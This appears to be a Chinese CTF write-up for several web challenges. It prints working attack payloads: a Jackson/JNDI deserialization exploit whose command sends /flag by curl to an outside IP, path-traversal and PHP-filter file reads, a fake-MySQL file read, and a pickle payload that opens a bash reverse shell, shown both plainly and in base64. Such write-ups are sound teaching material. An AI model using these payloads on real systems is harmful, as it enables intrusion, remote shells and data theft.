Jack-Shiro
get /login,返回/json。直接get请求返回remember me。直接shiro绕过验证:/;/json post传[],发现报错。尝试jackson漏洞,post传
[
"ch.qos.logback.core.db.JNDIConnectionSource",
{
"jndiLocation":"rmi://47.96.173.116:2333/asd"
}
]
然后vps上监听2333发现回显,直接JNDI工具一把嗦
java8 -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl http://47.96.173.116:2333 -d @/flag" -A "47.96.173.116"
然后修改上面的rmi为生成的payload即可
zerocalc
直接读/flag文件即可
new_hospital
dirbuster扫一波目录。发现一堆php。在online.php随便填信息之后抓包。发现cookie里面API是1.js的base64。直接修改之后在feature.php报了file_get_contents的错误,但是修改之后还是报错。然后/old里面也有feature.php,直接改API为../flag.php的base64即可读取。
EasyFilter
虽然将文件内容进行base64加密了,但是下面的文件包含利用了php伪协议。这里的filter没有用过滤器,于是尝试了一波convert.bas64-decode/5a23eb1977发现报错。于是怀疑是将/convert.bas64-decode/当成了文件夹,所以加了..就成了。payload:
http://124.70.181.14:32766/?action=r&r=convert.base64-decode/../5a23eb1977
Give_me_your_0day
方法一
安装的时候可以选择mysql的host。然后服务器上开Mysql-Fake-Server。传服务器地址,发现服务器上的Mysql有连接请求。
function _p($adapter) {
switch ($adapter) {
case 'Mysql':
return Typecho_Db_Adapter_Mysql::isAvailable();
case 'Mysqli':
return Typecho_Db_Adapter_Mysqli::isAvailable();
case 'Pdo_Mysql':
return Typecho_Db_Adapter_Pdo_Mysql::isAvailable();
case 'SQLite':
return Typecho_Db_Adapter_SQLite::isAvailable();
case 'Pdo_SQLite':
return Typecho_Db_Adapter_Pdo_SQLite::isAvailable();
case 'Pgsql':
return Typecho_Db_Adapter_Pgsql::isAvailable();
case 'Pdo_Pgsql':
return Typecho_Db_Adapter_Pdo_Pgsql::isAvailable();
default:
return false;
}
}
在install.php上面的源码看到了所有数据库配置。在点击安装的时候,抓包,把Pdo_Mysql修改为Mysqli可以进行任意文件读取,读取/flag即可。
方法二
需要了解pearcmd。巅峰极客和rctf都出过这种题https://blog.rois.io/2021/rctf-2021-official-writeup-2/
https://www.anquanke.com/post/id/218977#h2-3
源码里面可以进行文件包含
function _r($name, $default = NULL) {
return isset($_REQUEST[$name]) ?
(is_array($_REQUEST[$name]) ? $default : $_REQUEST[$name]) : $default;
}
$adapter = _r('dbAdapter', $firstAdapter);
$parts = explode('_', $adapter);
$type = $adapter == 'Mysqli' ? 'Mysql' : array_pop($parts);
<?php require_once './install/' . $type . '.php'; ?>
然后直接照着wp打:
注意不能在vps上不能有php解析器,要不然会先解析再传文件,可以开个python http服务。
ezPickle
下载文件后查看,容易看出name输入点,并有过滤,同时在config文件中提供了backdoor函数。
看到这个
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)
想到2021巅峰极客的原题,这题是它的其中一部分:),稍微改下脚本打就完了
notadmin = GLOBAL('config', 'notadmin')
notadmin['admin'] = 'yes'
config_backdoor = GLOBAL('config', 'backdoor')
config_backdoor(["__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/139.180.193.16/7777 0>&1'\")"])
return
使用pker生成
base64后payload
Y2NvbmZpZwpub3RhZG1pbgpwMAowZzAKUydhZG1pbicKUyd5ZXMnCnNjY29uZmlnCmJhY2tkb29yCnAyCjBnMgooKFMnX19pbXBvcnRfXyhcJ29zXCcpLnN5c3RlbSgiYmFzaCAtYyBcJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTM5LjE4MC4xOTMuMTYvNzc3NyAwPiYxXCciKScKbHRSLg==
name传入,弹shell,cat flag